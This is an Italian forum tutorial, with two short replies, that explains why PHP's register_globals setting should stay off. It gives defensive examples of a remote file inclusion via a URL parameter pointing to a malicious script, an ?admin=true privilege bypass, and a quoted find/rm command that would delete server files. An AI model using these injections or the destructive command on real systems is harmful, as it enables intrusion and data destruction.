- Home
- Categorie
- Coding e Sistemistica
- PHP
- [Pillola] Consigli sul perchè mantenere register_globals su OFF
-
[Pillola] Consigli sul perchè mantenere register_globals su OFF
Salve a tutti e benvenuti in questo tutorial dove spiegherò(in seguito ad un altro topic) i motivi per cui è consigliabile avere register_globals del file *php.ini *impostato su OFF...
Cominciamo!
Innanzitutto, ricordiamo che register globals permette di usare una variabile già pronta con i parametri get e post(Ma anche altri)..Ovvero che una banalissima variabile può sostituire egregiamente i famosi array superglobali($_GET,$_POST, ecc..)
un esempio con $_GET :pagina.php?var=2
Se register_globals è on, invece di usare $_POST['var'] come variabile superglobale, si userà $var come variabile superglobale.
E quindi, se facciamo l'echo di $var<span class="gal">[PHP]echo $var ; [/PHP]
Avremo come risultato 2.
Register_globals è sconsigliata perchè un hacker potrebbe inserire codice maligno a nostra insaputa.
Considerando questo esempio molto semplificato(Tratto dal mio libro di programmazione)[LEFT] [PHP]<?php
mysql_query(.......);
echo "....";
//ecc...
include $module.'.php';
?>[/PHP] [/LEFT]Se register globals è su on, un hacker potrebbe modificare l'url cosi:
** lapaginaconinclude.php?module=http://www.esempio.com/script_malevolo**
E cosi la pagina php includerebbe http://www.esempio.com/script_malevolo.php
Che puo contere chissà quale codice, ad esempio
[LEFT] [PHP]<?php 'find /-exec rm"{}" ";"';?>[/PHP] [/LEFT]Che cancellerebbe tutti i file accessibili al server web, oppure contenere anche banali unlink() , chdir() , fopen o fwrite...
Un altro esempio?
[LEFT] [PHP]<?php
session_start()
//$admin + una variabile di sessione impostata in precedenza
if(!$admin) {
do_foo();
}else{
do_admin_task();
}
?>[/PHP] [/LEFT]Se un hacker modificasse l'url così:
** paginaconadmin.php?admin=true**
Potrebbe entrare con i privilegi di amministratore...
Per questo è consigliabile non fidarsi mai dell'utente, impostare tutte le precauzioni necessarie e soprattutto mantenere register_globals su off!Con questo minitutorial spero di essere stato utile...
Ola!
-
Si infatti ilnetsurfer hai pienamente ragione, infatti se non lo scrivevi tu questo tutorial dovevo farlo io
-
Hai centrato il problema. Ho risolto, grazie mille!